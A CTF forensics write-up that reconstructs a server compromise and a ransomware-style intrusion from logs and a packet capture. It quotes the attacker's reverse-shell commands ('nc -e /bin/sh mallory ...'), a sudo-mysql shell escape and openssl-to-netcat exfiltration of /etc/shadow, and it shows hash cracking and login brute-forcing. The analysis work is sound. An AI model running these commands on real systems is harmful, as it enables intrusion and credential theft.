2025-08-25T10:06:40.487613+00:00 /usr/bin/sed -i 's/^#*ChallengeResponseAuthentication.*/ChallengeResponseAuthentication no/' /etc/ssh/sshd_config
2025-08-25T10:06:43.277496+00:00 /usr/bin/sed -i 's/^#*UsePAM.*/UsePAM no/' /etc/ssh/sshd_config
2025-08-25T10:06:44.641084+00:00 /usr/sbin/service ssh restart
2025-08-25T10:06:50.966013+00:00 /usr/sbin/usermod -L powerguy
2025-08-25T13:30:34.892466+00:00 /home/doublepower/sc encrypt /srv/shared /home/doublepower/enc
2025-08-25T13:30:44.634701+00:00 /usr/bin/tar -czf /home/doublepower/shared.tar.gz /srv/shared
2025-08-25T13:30:47.256420+00:00 /usr/bin/chown doublepower:doublepower /home/doublepower/shared.tar.gz
2025-08-25T13:30:59.870580+00:00 /usr/bin/cp /home/doublepower/read.me /home/powergrid/read.me
2025-08-25T13:31:01.532690+00:00 /usr/bin/chmod 777 /home/powergrid/read.me
2025-08-25T13:31:02.387005+00:00 /usr/bin/cp /home/doublepower/read.me /srv/shared/read.me
2025-08-25T13:31:03.413926+00:00 /usr/bin/chmod 777 /srv/shared/read.me
Analysis:
- 8:06 - 10:06: su, disabling/changing passwords of other users and disabling SSH password authentication
- from 13:30: starting the encrption ("sc" binary presumably using a key "enc") and preparing exfiltration (/srv/shared -> shared.tar.gz) and copying read.me
- TODO there may be more lines of interest (CRON etc.?)
Let's look at the Apache logfile:
-
mostly "POST /data" (can be filtered out - "cat out.csv | fgrep apache | fgrep "POST /data" | cut -d, -f5- |sort | uniq -c" shows it's just 4 clients repeatedly sending requests, appears unrelated)
- TODO remove those from the flows and look only at the rest?
-
remote code execution(?) at /get_user_by__iid
-
"GET /get_user_by__iid?q=whoami" from 10.99.25.28, based on neighboring nfdata.log entry this connection is to 10.99.25.25 port 443
- the server is not reachable
- but the attacker's IP responds to ping and nmap finds port 80 open (a simple webpage titled "Doublepower4ever" and an image, off-topic: apparently generated with Stable Diffusion 3 in ComfyUI for prompt "A logo featuring the word 'POWER' in bold, metallic letters, with a stylized '2' superscripted next to it, like this: 'POWER\u00b2'. The font used for 'POWER' is a bold, sans-serif font, with a metallic finish to give it a technological and industrial feel. The '2' is smaller and superscripted, with a slightly curved tail to connect it to the 'POWER' text. The color scheme includes a dark, metallic grey (#333333) and a bright, electric blue (#03A9F4). Incorporated into the design is a visual element representing the villain's goal or motivation: a stylized, futuristic-looking globe or circuit board pattern in the background, with a subtle grid pattern and faint, glowing blue lines. The globe or circuit board pattern is partially visible, giving the logo a sense of depth and complexity. The overall design should convey a sense of technological advancement, power, and global domination.")
-
the same /get_user_by__iid was requested once more over IPv6: "GET /get_user_by__iid?q=curl%20http%3A%2F%2F%5B2001%3Adb8%3A7cc%3A%3A25%3A28%5D%2Fmy%2Fbackup2%20-o%20%2Ftmp%2Fbackup.sh HTTP/1.1 from: 2001:db8:7cc::25:28"
-
decoded: "curl http://[2001:db8:7cc::25:28]/my/backup2 -o /tmp/backup.sh"
-
curl-downloading "backup.sh" from the attacker's PC at http://10.99.25.28/my/backup2, The file is still accessible; the script downloads and sets authorized_keys (ssh-rsa for user dough.badman@doublepower.tcc) - TODO can the modulus be factored (probably not relevant);
-
The corresponding flow (following lines in the CSV) seems to be
2025-08-25T13:13:15.000000+00:00,Content Modification Time,LOG,Log File,[nfdump] FLOW TCP 2001:db8:7cc::25:252 37100 -> 2001:db8:7cc::25:28 80 Packets=7 Bytes=327 Duration=0.010,text/syslog_traditional,OS:/data/nfdata.log,-
2025-08-25T13:13:15.000000+00:00,Content Modification Time,LOG,Log File,[nfdump] FLOW TCP 2001:db8:7cc::25:28 80 -> 2001:db8:7cc::25:252 37100 Packets=5 Bytes=766 Duration=0.010,text/syslog_traditional,OS:/data/nfdata.log,- -
327 bytes request, 766 bytes of response (may be useful later as a hint about the size of future requests/responses)
That's all from the Apache logfile.
Flows:
-
most connections are from/to 10.99.25.25 or 2001:db8:7cc::25:25 (6496 lines -> 3248 connections)
- port 443 probably mostly "POST /data" and 4x RCE exploit
- port 9000 - unchecked, hopefully not relevant
-
the remaining (30 lines -> 15 connections) are more interesting
-
2025-08-25T08:06:19 and 6:21 2001:db8:7cc::25:11 <–> 2001:db8:7cc::25:252 22 (SSH, "su", based on time)
-
2025-08-25T10:06:15 and 6:31 10.99.25.22 <-> 10.99.25.252 22 (SSH, blocking the user and changing SSH config, see above)
-
2025-08-25T13:12:58 to 10:30 2001:db8:7cc::25:28 <-> 2001:db8:7cc::25:252 22 (SSH, the attacker connecting and escalating..., based on sshd and sudo syslog)
-
13:30+ 2001:db8:7cc::25:252 -> 2001:db8:7cc::25:28 80 (HTTP, the attacker downloading stuff from his machine)
-
2025-08-25T13:30:51,[nfdump] FLOW TCP 2001:db8:7cc::25:252 -> 2001:db8:7cc::25:29 22 Packets=37 Bytes=70304 Duration=0.419 (outgoing SSH from the compromised server, probably exfiltration via scp?)
$ cat out.csv | fgrep 'OS:/data/nfdata.log' |grep -Ev '(10.99.25.25|2001:db8:7cc::25:25) ' | sed 's/.000000+00:00,Content Modification Time,LOG,Log File,/,/;s!,text/syslog_trad.*!!'
or $ cat out.csv | fgrep 'OS:/data/nfdata.log'| fgrep -v '2001:db8:7cc::25:252 9000' | fgrep -v '10.99.25.25 443'| fgrep -v '2001:db8:7cc::25:25 443' |sed 's/.000000+00:00,Content Modification Time,LOG,Log File,/,/;s!,text/syslog_trad.*!!'
2025-08-25T08:06:19,[nfdump] FLOW TCP 2001:db8:7cc::25:11 37436 -> 2001:db8:7cc::25:252 22 Packets=23 Bytes=5128 Duration=0.466
2025-08-25T08:06:19,[nfdump] FLOW TCP 2001:db8:7cc::25:252 22 -> 2001:db8:7cc::25:11 37436 Packets=19 Bytes=4348 Duration=0.466
2025-08-25T08:06:21,[nfdump] FLOW TCP 2001:db8:7cc::25:11 37438 -> 2001:db8:7cc::25:252 22 Packets=76 Bytes=7208 Duration=34.436
2025-08-25T08:06:21,[nfdump] FLOW TCP 2001:db8:7cc::25:252 22 -> 2001:db8:7cc::25:11 37438 Packets=58 Bytes=8708 Duration=34.436
2025-08-25T10:06:15,[nfdump] FLOW TCP 10.99.25.22 40206 -> 10.99.25.252 22 Packets=84 Bytes=9404 Duration=35.664
2025-08-25T10:06:15,[nfdump] FLOW TCP 10.99.25.252 22 -> 10.99.25.22 40206 Packets=68 Bytes=12232 Duration=35.664
2025-08-25T10:06:31,[nfdump] FLOW TCP 10.99.25.22 22 -> 10.99.25.252 51840 Packets=27 Bytes=7260 Duration=0.420
2025-08-25T10:06:31,[nfdump] FLOW TCP 10.99.25.252 51840 -> 10.99.25.22 22 Packets=30 Bytes=6088 Duration=0.420
2025-08-25T13:12:58,[nfdump] FLOW TCP 2001:db8:7cc::25:252 22 -> 2001:db8:7cc::25:28 44432 Packets=10 Bytes=3156 Duration=0.277
2025-08-25T13:12:58,[nfdump] FLOW TCP 2001:db8:7cc::25:28 44432 -> 2001:db8:7cc::25:252 22 Packets=14 Bytes=3392 Duration=0.277
2025-08-25T13:13:04,[nfdump] FLOW TCP 2001:db8:7cc::25:252 22 -> 2001:db8:7cc::25:28 44442 Packets=10 Bytes=3156 Duration=0.281
2025-08-25T13:13:04,[nfdump] FLOW TCP 2001:db8:7cc::25:28 44442 -> 2001:db8:7cc::25:252 22 Packets=14 Bytes=3392 Duration=0.281
2025-08-25T13:13:05,[nfdump] FLOW TCP 2001:db8:7cc::25:252 22 -> 2001:db8:7cc::25:28 44452 Packets=10 Bytes=3156 Duration=0.277
2025-08-25T13:13:05,[nfdump] FLOW TCP 2001:db8:7cc::25:28 44452 -> 2001:db8:7cc::25:252 22 Packets=14 Bytes=3392 Duration=0.277
2025-08-25T13:13:15,[nfdump] FLOW TCP 2001:db8:7cc::25:252 37100 -> 2001:db8:7cc::25:28 80 Packets=7 Bytes=327 Duration=0.010
2025-08-25T13:13:15,[nfdump] FLOW TCP 2001:db8:7cc::25:28 80 -> 2001:db8:7cc::25:252 37100 Packets=5 Bytes=766 Duration=0.010
2025-08-25T13:15:01,[nfdump] FLOW TCP 2001:db8:7cc::25:252 33138 -> 2001:db8:7cc::25:28 80 Packets=7 Bytes=335 Duration=0.004
2025-08-25T13:15:01,[nfdump] FLOW TCP 2001:db8:7cc::25:28 80 -> 2001:db8:7cc::25:252 33138 Packets=5 Bytes=1175 Duration=0.004
2025-08-25T13:30:26,[nfdump] FLOW TCP 2001:db8:7cc::25:252 22 -> 2001:db8:7cc::25:28 48308 Packets=188 Bytes=20336 Duration=37.405
2025-08-25T13:30:26,[nfdump] FLOW TCP 2001:db8:7cc::25:28 48308 -> 2001:db8:7cc::25:252 22 Packets=206 Bytes=14092 Duration=37.405
2025-08-25T13:30:28,[nfdump] FLOW TCP 2001:db8:7cc::25:252 40510 -> 2001:db8:7cc::25:28 80 Packets=134 Bytes=4389 Duration=0.053
2025-08-25T13:30:28,[nfdump] FLOW TCP 2001:db8:7cc::25:28 80 -> 2001:db8:7cc::25:252 40510 Packets=200 Bytes=6494521 Duration=0.053
2025-08-25T13:30:32,[nfdump] FLOW TCP 2001:db8:7cc::25:252 40526 -> 2001:db8:7cc::25:28 80 Packets=7 Bytes=342 Duration=0.012
2025-08-25T13:30:32,[nfdump] FLOW TCP 2001:db8:7cc::25:28 80 -> 2001:db8:7cc::25:252 40526 Packets=5 Bytes=872 Duration=0.012
2025-08-25T13:30:38,[nfdump] FLOW TCP 2001:db8:7cc::25:252 54746 -> 2001:db8:7cc::25:28 80 Packets=7 Bytes=338 Duration=0.007
2025-08-25T13:30:38,[nfdump] FLOW TCP 2001:db8:7cc::25:28 80 -> 2001:db8:7cc::25:252 54746 Packets=5 Bytes=3803 Duration=0.007
2025-08-25T13:30:51,[nfdump] FLOW TCP 2001:db8:7cc::25:252 34934 -> 2001:db8:7cc::25:29 22 Packets=37 Bytes=70304 Duration=0.419
2025-08-25T13:30:51,[nfdump] FLOW TCP 2001:db8:7cc::25:29 22 -> 2001:db8:7cc::25:252 34934 Packets=28 Bytes=6260 Duration=0.419
2025-08-25T13:30:58,[nfdump] FLOW TCP 2001:db8:7cc::25:252 49246 -> 2001:db8:7cc::25:28 80 Packets=7 Bytes=339 Duration=0.011
2025-08-25T13:30:58,[nfdump] FLOW TCP 2001:db8:7cc::25:28 80 -> 2001:db8:7cc::25:252 49246 Packets=5 Bytes=1672 Duration=0.011
- the same key is then used for login (auth.log entry at 2025-08-25T13:30:26.957, fingerprint verified with "ssh-keygen -lf downloaded_authorized_keys")
- the "sc" is modified (likely downloaded over http based on the following flow), same with "enc" (filename on the server is unknown)
- then an empty file (based on MD5) /home/doublepower/.sudo_as_admin_successful is created (automatically by sudo?)
- then shared.tar.gz is created
- in the meantime "rsa" is downloaded over http from 2001:d8:7cc::25:28 (also unknown URL)
- TODO try to guess the URL length from the request length from the flow
- outgoing connection to 2001:d8:7cc::25:29 port 22 is initiated and ~6kb sent (iis this the exfiltration?)
Key moments a.k.a. "putting it all together":
-
at 10:06 the user powerguy is locked and password(s) changed
-
at 13:13:15 vulnerable get_user_by__iid is used to replace backup script with a malicious one
-
http://[2001:db8:7cc::25:28]/my/backup2 -> /tmp/backup.sh
-
327 bytes of request
- the "GET /my/backup2" is 15 bytes long so 312 bytes are extra headers etc.
- (my curl generates 94/598 B of TCP traffic, from Wireshark follow TCP straem)
-
766 bytes of response
- the script is 345 bytes long so 421 bytes are consumed by headers
-
-
at 13:15 the script runs and downloads/replaces authorized_keys for doublepower with a file from attacker
-
335 bytes request
- "GET /my/authorized_keys" is 23 bytes so 312 bytes of overhead (consistent with previous)
- (my curl generates 102/1007 bytes of TCP traffic)
-
1175 bytes response
- authorized_keys is 754 bytes so 421 bytes of overhead (consistent with previous)
-
-
at 13:30:26 the attacker logs in (sshd entry)
-
at 13:30:28 "sc" is downloaded
- 4389 bytes request
- TODO why so large? long URL? or are ACKs counted toward the total flow size?
- 6494521 bytes response
- -> 6494521-421=6494100 bytes payload?
- found by MD5 on virustotal.com, there it is 11960160 bytes ... possibly gzipped?
- -> 6494521-421=6494100 bytes payload?
- 4389 bytes request
-
at 13:30:32 "enc" is downloaded
-
342 bytes request
- probably 342-312=30 bytes of "GET /........................." - TODO what is it?
-
872 bytes response
- -> 872-421=451 bytes payload?
-
-
at 13:30:34.892466 the encryption is started
- "/home/doublepower/sc encrypt /srv/shared /home/doublepower/enc"
-
at 13:30:38 "rsa" is downloaded
-
guess: probably a private SSH key for the exfiltration server
-
338 bytes request
- probably 338-312=26 bytes of "GET /....................." - TODO what is it?
-
3803 bytes response
-
-
at 13:30:51 the "rsa" and "shared.tar.gz" are last read, "/home/doublepower/.ssh/known_hosts" is modified and connection to 2001:db8:7cc::25:29 22 is established
- 70304 bytes sent
- probably the exfiltration
- TODO get the "rsa" and try connecting (is the FLAG there?)
- 6260 received
- 70304 bytes sent
-
at 13:30:58 "read.me" is downloaded
-
339 request (just 1 byte more than "rsa", probably different filename, e.g. "read")
- probably 339-312=27 bytes of "GET /......................"
-
1672 response
- assuming it is the threatening_message.txt (1250 bytes) it is almost consistent (1672-421=1251 bytes) - the difference is surely due to "Content-length: 1250" containing a longer number than others
-
later it is copied elsewhere and chmodded...
guess/bruteforce the URL, or is there any hint in the network?
Yes, dirb discovered /ssh, /tools, /keys and /current
/tools/sc matches md5 hash in the Plaso log -> this is the encryptor binary.
/ssh is a directory listing with 16 RSA keypairs. Out of the keys in /ssh/, only id_doublepower11 matches the md5 of "rsa". The corresponding .pub hints at username "11"; connection to 10.99.25.29 works and the shared.tar.gz archive is there.
ssh -i 10.99.25.28/ssh/id_doublepower_11 11@10.99.25.29
scp -i 10.99.25.28/ssh/id_doublepower_11 11@10.99.25.29:shared.tar.gz ./
nothing else interesting seems to be on that machine
- TODO find /enc, reverse the encryption tool
The /keys is also a directory listing; it should have the following hash:
2025-08-25T13:30:32.000000+00:00,Creation Time,FILE,Bodyfile,/home/doublepower/enc Owner identifier: 1002 Group identifier: 1002 Mode: -rw-r--r-- MD5: 814ba8dd6ef58933fb84203d4c53b9f8
We can easily find the matching key:
md5sum 10.99.25.28/keys/* | grep 814ba8dd6ef58933fb84203d4c53b9f8
814ba8dd6ef58933fb84203d4c53b9f8 10.99.25.28/keys/key_140261531202.pub
/current probably contains the ransom message then – it is also a directory listing, case01 is a previous ransom case (oh no, kidnapped kittens!), case02 is indeed ours. (TODO verify md5)
Now that we have the encryption tool, exfiltrated (encrypted) data a presumably (not yet verified) matching keypair (RSA), we need to figure out how to decrypt the data. Against better judgement (and a warning about possible destruction in the challenge's hint), we run the downloaded tool with --help (of course in a virtual machine). Thankfully, the author conveniently included help and the decryption capability, which we can try using instead of reverse-engineering the tool.
First we can test the tool on known data to verify that we have a matching keypair – try encrypting a folder with a sacrificial test file and then decrypting it.
$ cat toencrypt/testfile.txt
ok
$ ./sc encrypt toencrypt key_140261531202.pub
[+] Encrypted: toencrypt/testfile.txt
$ ./sc decrypt toencrypt key_140261531202.pub # obviously fails because it is not a private key
$ ls -l toencrypt
-rw-rw-r-- 1 kali kali 279 Oct 8 21:05 testfile.txt.enc
$ ./sc decrypt toencrypt key_140261531202.pem
[+] Decrypted: toencrypt/testfile.txt.enc
$ cat toencrypt/testfile.txt
ok
Great, let's do the same on the real data:
$ tar xf shared.tar.gz # produces a "srv" directory
$ ./sc decrypt srv key_140261531202.pem
[+] Decrypted: srv/shared/sci-ops/seismovolt.md.enc
[+] Decrypted: srv/shared/sci-ops/flabvolt.md.enc
[+] Decrypted: srv/shared/other/powerplant_selfdestruction.csv.enc
[+] Decrypted: srv/shared/other/powerplant_10_yr_stats.md.enc
[+] Decrypted: srv/shared/grid-ops/field_notebook542.md.enc
[+] Decrypted: srv/shared/grid-ops/repair_log.md.enc
[+] Decrypted: srv/shared/psy-ops/pill.jpg.enc
[+] Decrypted: srv/shared/psy-ops/morale_boosting.md.enc
Are we there yet?
$ grep -r FLAG srv
This does not discover any matches so we need to dig deeper into the data. Since it is just a few files, "scrolling through" is feasible. We are searching for a flag, likely somehow encoded, so strange-looking strings are of interest.
-
shared/grid-ops/field_notebook542.md contains a "signature" that is decodable as base64, but is a red herring
-
shared/other/powerplant_10_yr_stats.md contains many numbers in a table but they look too "simple" and repetitive (low entropy) to contain the flag
-
shared/other/powerplant_selfdestruction.csv is the most data-heavy. The "Left SD operator" and "Right SD operator" columns appear to be base64-encoded, and even resemble the flag format. Decoding the first row gives us "Left SD operator": "BADABOOM{rQFg-3" and "Right SD operator": "vML-CycQ-OhCp}". A few that follow are similar, also staring with "BADABOOM{". Is there an outlier? Yes: one line's "Left SD operator" starts differently: "QkFEQUZMQUd7bUtlay1F", which decodes to "BADAFLAG{mKek-E" (line 14, the one with "Horizon Nuclear"). Then we just concatenate the strings from "Left" and "Right SD operator" and decode the flag: BADAFLAG{mKek-EtbU-SfRa-QlJC}
... this felt pretty involved for a 4-point challenge, but surely was a ride :D
Lesson learned: the Plaso image surprisingly contains quite a lot of interesting information, mostly metadata, that can help "solve a case"/incident.
Hi, emergency troubleshooter,
one of our web servers has apparently been compromised, analyze what happened from the record of recorded suspicious communication.
Stay grounded!
We are given a pcap to analyze. All we know is that a server was compromised and we should generally "analyze what happened".
To get an overview of what the capture contains, we open it in Wireshark and start by looking at the Statistics -> Protocol Hierarchy. We can filter/isolate individual protocols (right click, Apply as Filter -> Selected).
A possible strategy is looking for outliers (and if there are none, try to dig deeper into a protocol, figure out which parts are the most common/bulk/benign traffic and filter them out). We see rare (3+1 packets) in "HTML Form URL Encoded" (filter "urlencoded-form"). Two of the packets are immediately suspicious: POSTs to [2001:db8:7cc::25:101]/uploads/ws.php with parameter "c", which appears to contain shell commands:
- whoami
- nc -e /bin/sh mallory 42121 & # <- a reverse shell!
Both have a header "Authorization: Basic YWxpY2U6dGVzdGVy", which means the client (2001:db8:7cc::254:7) is logged in with credentials "alice:tester".
Looking at earlier packets (with a less strict filter "http") we see many requests to from the same client to the same server that end with "403 Forbidden" (likely a bad username:password pair, each time the credentials differ), and the code changes to 302 (redirect) and 200 OK. These packets show that the attacker brute-forced and logged in with alice:tester to /filemanager.php?p=uploads – apparently a script that allows file uploads.
Watching his activity in the subsequent requests, he uploaded a webshell (ws.php) for command execution on the server and used it, as we saw above.
Let's see what the attacker did with the reverse shell ("tcp.port==42121", then Follow TCP Stream -> the filter becomes "tcp.stream eq 11678")
- He dumped the /var/www/html directory: "tar -zcf /tmp/html.tgz /var/www/html", "cat /tmp/html.tgz | nc mallory 42122"
- and ran another shell through MySQL (likely to get into a different user account) "sudo /usr/bin/mysql -e '\! nc -e /bin/sh mallory 42123'" (tcp.stream eq 11682)
We can export the dumped html.tgz (tcp.stream eq 11681, exported from Wireshark by following TCP stream, choosing "Raw" in the "Show as" dropdown, selecting one of the stream directions and clicking "Save as..."). It contains a PHP webapp checking auth (PHP's password_verify() or crypt()) against /etc/apache2/.htpasswd (which we don't have) and allows admin user (username == 'admin') to download /secrets/flag.txt, encrypted (aes-256-cbc) with user's password (/app/backup.php). The server seems to be down so if this is really the flag re are looking for, we will have to rely on the resourcefulness of the attacker, making himself (and us) a copy of the data in the packet capture. Sadly, there seems to be no request to /app/backup.php in the packet capture, at least over HTTP.
We can similarly monitor the data or shell commands by filtering by the port and then following the TCP stream.
In the second reverse shell (tcp.stream eq 11682) the attacker does:
-
dump filesystem parts "tar zcf /tmp/all.tgz /etc /root /home"
-
and downloads a secret key with "curl -k -s https://mallory:42120/pincode/\`hostname -f` > /tmp/secret".
- Since the download was done over a secure connection, we have no chance in grabbing it, unless it uses a weak cipher (it does not: TLS_AES_256_GCM_SHA384) or the session key or server's private is leaked somewhere (unlikely).
- But from a follow-up directory listing we see the "secret" file has just 6 bytes so is should be possible to brute-force, especially if "pincodes" in the URL means the characters are just digits.
-
Then the attacker uses it to exfiltrate /etc/shadow "cat /etc/shadow | openssl enc -aes-256-cbc -e -a -salt -pbkdf2 -iter 10 -pass file:/tmp/secret | nc mallory 42124"
-
and similarly exfiltrates the previously dumped /etc+/root+/home "cat /tmp/all.tgz | openssl enc -aes-256-cbc -e -a -salt -pbkdf2 -iter 10 -pass file:/tmp/secret | nc mallory 42125"
-
the brute-forcing seems especially feasible because PBKDF2 is used here with 10 iterations
PLAN:
- Decrypt the exfiltrated shadow (user password hashes) and try to crack some and try to use the credentials elsewhere (inspired by the "Threatening message" challenge which involved connecting to a real server using information form the file provided for analysis).The web server which was compromised seems to be offline, but hopefully we find a copy of the /secrets/flag.txt (or hints about where to get it) in the other exfiltrated file.
- Decrypt and investigate the dump of /etc, /root and /home. There may be hints of another (backup?) server which is online (spoiler alert: no) and may have a copy, and perhaps even an SSH private key? (spoiler alert: yes but unused in this challenge) Or the same password as we will probably crack from /etc/shadow. (spoiler alert: it will remain uncracked)
We extract the remaining files: all.tgz(.enc) and shadows(.enc) from the pcap.
First, we test encryption+decryption on a known file:
$ echo 123456 > notsosecret
$ echo something > toencrypt
$ openssl enc -aes-256-cbc -e -a -salt -pbkdf2 -iter 10 -pass file:./notsosecret <toencrypt > encrypted
$ openssl enc -aes-256-cbc -d -a -salt -pbkdf2 -iter 10 -pass file:./notsosecret <encrypted > decrypted
$ hexdump -C decrypted
00000000 73 6f 6d 65 74 68 69 6e 67 0a |something.|
Since this works, we can move on to the real data – shadow is smaller so let's start with that.
Then write a simple bruteforce script to try all 6-digit passwords (openssl exits with 0 if it succeeds, hence the && break)
$ seq -w 999999 | while read pw; do echo "try $pw"; openssl enc -aes-256-cbc -d -a -salt -pbkdf2 -iter 10 -pass pass:"$pw" <shadow.enc 2>/dev/null 1>&2 && echo 'YES' && break; done
try 000001
try 000002
try 000003
...
try 000065
YES
... that was easy! But the output is nonsense. Probably it's just a coincidence that OpenSSL did not detect an error. Maybe a checksum that openssl uses is prone to collisions.
Let's keep trying (save all possible matches for manual analysis of the contents):
seq -w 999999 | while read pw; do echo "try $pw"; openssl enc -aes-256-cbc -d -a -salt -pbkdf2 -iter 10 -pass pass:"$pw" <shadow.enc 2>/dev/null 1>&2 && echo 'YES' && openssl enc -aes-256-cbc -d -a -salt -pbkdf2 -iter 10 -pass pass:"$pw" <shadow.enc >shadow."$pw"; done
The real shadow file (usually) starts with the string "root"; generally it is an ASCII text – by looking at the first few bytes we can then filter out the flukes.
Note: yes, this script is horribly inefficient and I started looking at alternatives that don't spawn literally a million openssl instances (like https://stackoverflow.com/a/61413603), but before I set it up, the script got to a point where the correct password was encountered. I checked the output semi-manually with for f in shadow.*; do hexdump -C "$f" | head -n 1; done; - each line shows the first 16 bytes of a decrypted file so it's easy to spot meaningful text in the otherwise random noise.
The password is: 101525. With that we can cleanly decrypt both files:
$ openssl enc -aes-256-cbc -d -a -salt -pbkdf2 -iter 10 -pass pass:101525 <all.tgz.enc >all.tgz
$ openssl enc -aes-256-cbc -d -a -salt -pbkdf2 -iter 10 -pass pass:101525 <shadow.enc >shadow
The shadow file contains two hashes:
root:$y$j9T$zVPzlCqPMzYrtLnKj.SWG.$d5rqQaU42tiE878efwboig8NTo71Eur1Gxmdd1wXnp1:20285:0:99999:7:::
webmaster:$y$j9T$.rxkHFxz8pAwqwVyhnl7z.$.LL2tqx6QMrh8V3L1Bm/3unUZ.HuNsLwLVKQbaVw1a5:20285:0:99999:7:::
The
SCRYPT:16384:8:1:OTEyNzU0ODg=:Cc8SPjRH1hFQhuIPCdF51uNGtJ2aOY/isuoMlMUsJ8c=
The cracking speed on a ~2019 laptop GPU is ~250 H/s. John the Riper on the laptop CPU in a VM gets ~140 H/s.
Since going through even a moderately sized wordlist would take forever, let's explore the dumped filesystem instead :-)
There are some interesting files:
- /home/webmaster/.bash_history
- some IoT container, cloning
- export USER4_PASS=ExtraStr0ngP4ss
- Is it reused in shadow? No. (tested by replacing hashes in /etc/shadow for a dummy user and tried logging in via su)
- then saved probably to /opt/iot-gateway-service/docker-compose.yml for "user4"
- This ends up unused in this challenge.
- /home/webmaster/.ssh
- RSA keypair for webmaster@thanos
- where can we use it?
- no .ssh/known_hosts
- perhaps we could scan the 10.99.25.x or even 10.99.y.x?
- where can we use it?
- Similarly, this does not help with solving the challenge
- RSA keypair for webmaster@thanos
- /etc/apache2/.htpasswd
- this is what the flag-serving webapp (/app/ above) uses for authentication and contains users "alice" which was bruteforced earlier, as well as "admin", which is allowed to retrieve the flag, so we will want to crack these (at least for the user "admin").
admin:$1$h7PCtM2Q$dE4Nxy0QaLT3kzyFoz54f.
alice:$1$avlK2Jg5$X7yCik3id/h8yv34Fn1Ri0
bob:$1$IbVRrZNw$zFE9jhxtdx1pHtXpryuGD/
carol:$1$7pgrfayT$ig8zFkSv8Etm3qVA.N/j61
/etc/apache2/sites-enabled/tcc-ssl.conf
- The config tells us there is an HTTPS part to the server, which we missed in the not-very-thorough pcap analysis earlier. And we even have the server's private key. The used cipher suite should allow us to decrypt the traffic using the server's private key (it does not support forward secrecy).
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
SSLProtocol TLSv1.2
SSLCipherSuite RSA+AES
SSLHonorCipherOrder on
NEW PLAN:
-
Crack the admin's hash from htpasswd (and verify alice:tstuser from above)
-
Decrypt the SSL traffic and look for requests to /app/backup.sh
cracking /etc/apache2/.htpasswd
- "$1$" is md5crypt, hashcat mode 500
- hashcat does not accept the usernames in the hash file -> strip the raw hashes with cat all/etc/apache2/.htpasswd | cut -d: -f2 > htpasswd
- used the versatile Top29Million-probable-v2 wordlist
- (alice:)$1$avlK2Jg5$X7yCik3id/h8yv34Fn1Ri0:tester
- confirmed the PW that the attacker bruteforced earlier
- (admin:)$1$h7PCtM2Q$dE4Nxy0QaLT3kzyFoz54f.:Bananas9
- this will be useful later
decrypting the HTTPS traffic
The path to the private key can be set in Wireshark in Preferences(=Settings?) -> Protocol -> TLS -> RSA keys list -> Edit. It even works when only the key file is specified and other fields are left blank (just would be wasteful if there are other TLS connections that Wireshark would need to try the key against).
With the traffic decrypted, we search for http.request.uri == "/app/backup.php"
- the response content is aOI32ayLIofLCXLWZtzmdY077Q1jcYUQof7GFBbOWHY=
Final decryption
All we need to do is decrypt the flag, undoing what the backup.php script did. Since we already have the encryption code, the easiest option seems to be slightly modifying it to decrypt the flag using a provided password:
<?php
$password = 'Bananas9';
$iv = substr(hash('sha256', 'iv' . $password), 0, 16);
$key = hash('sha256', $password, true);
// the actual ciphertext
$encrypted = 'aOI32ayLIofLCXLWZtzmdY077Q1jcYUQof7GFBbOWHY=';
$decrypted = openssl\_decrypt($encrypted, 'aes-256-cbc', $key, 0, $iv);
if ($decrypted === false) {
die("Decryption failed.");
}
echo $decrypted . "\\n";
FLAG{kyAi-J2NA-n6nE-ZIX6}
In an actual incident analysis we would probably go further and care about who made the request to backup.php and if it was legitimate, as well as more thoroughly investigate the rest of the packet capture, but for the purposes of the challenge we are happy for just having the flag. ;-)
The rest of challenges were left unsolved, but notes are kept here, in case anyone is interested in possible ways how one could approach these. I am interested in how others would solve these and will definitely read a few other writeups.
sensor data from the distribution network are being continuously transmitted to broker.powergrid.tcc. However, the outsourced provider went bankrupt last week, and no one else has knowledge of how to access these data. Find out how to regain access to the sensor array data.
We are given a hostname, apparently an MQTT broker (default unencrypted port is 1883).
nc -v broker.powergrid.tcc 1883
the server accepts connection on the default port (and according to nmap ran later, no other TCP port is open)
We will be using the MQTT protocol (TODO link to spec). To receive data from sensors (which looks like something we are supposed to achieve), we need to subscribe to events in "topics". Therefore we should enumerate existing topics and subscribe to all of them.
Due to no previous practical experience with MQTT, we turn to a search engine. The first easy-to-setup MQTT client we find is https://hivemq.github.io/mqtt-cli/.
Connecting to the broker, though, does not look straightforward
$ mqtt test -h broker.powergrid.tcc
MQTT 3: NOT_AUTHORIZED
MQTT 5: NOT_AUTHORIZED
(we get the same error even for other commands, like "mqtt sub --topic '#' -h broker.powergrid.tcc"; the "#" is supposed to be a wildcard, though untested)
MQTT does support authentication (user+password and maybe even certificate-based). In attempt to overcome this, we search further for known MQTT vulnerabilities or pentesting tips and find a tool which can bruteforce the authentication credentials and enumerate topics on a broker: https://github.com/akamai-threat-research/mqtt-pwn.
needs a fix due to old Python/Debian version: akamai-threat-research/mqtt-pwn#23
The built-in list of usernames and passwords did not find any match, and the cli messed up my terminal scrollback so I don't even have the commands I ran.
Let's try another tool that does not hopefully interfere with my workflow (+ more lightweight and without an interactive shell), following the guide https://www.redalertlabs.com/blog/mqtt-from-zero-to-hero
python3 ralmqtt.py -m bruteforce -a broker.powergrid.tcc
^ does basically the same thing, does not find anything
Let's think about other options before expanding the bruteforcing efforts beyond a reasonable point.
Since we know that sensor data from the distribution network are being continuously transmitted to broker.powergrid.tcc, if we could just intercept the traffic, we could read the credentials, unless the communication was encrypted (in which case we could attempt a man-in-the-middle attack – as embedded devices sometimes don't properly check the certificate validity).
ARP spoofing - is it possible through a VPN? Probably not as we are not on the same network segment.
Some other kind of cache poisoning? Maybe send the sensors (which IPs?) fake DNS responses with our IP?
We are given "ipp.powergrid.tcc" which resolves to 10.99.25.20 or 2001:db8:7cc::25:20
Refuses connections at port 631 (ipp). nmap does not find any open port
The host does not respond to ping (ipv4 nor ipv6)
And no solves so far –> Is the challenge dead? Yes
CUPS webui at http://10.99.25.20:631/
administration at https://10.99.25.20:631/admin (username+PW prompt, basic auth) - bruteforce?
We are tasked with verifying if "all power plants are in good condition".
Hint: "Many systems like to keep things simple — their usernames often resemble their own names."
portscanned
Found Icinga at http://gridwatch.powergrid.tcc:8080/, asks for username+PW
TODO: bruteforce? maybe check for any known vulnerabilities
Roundcube, possibly brute-force-able (credentials spraying), hint:
IT department is known for using disposable test accounts ADM40090, ADM40091, ADM40092 up to ADM40099.
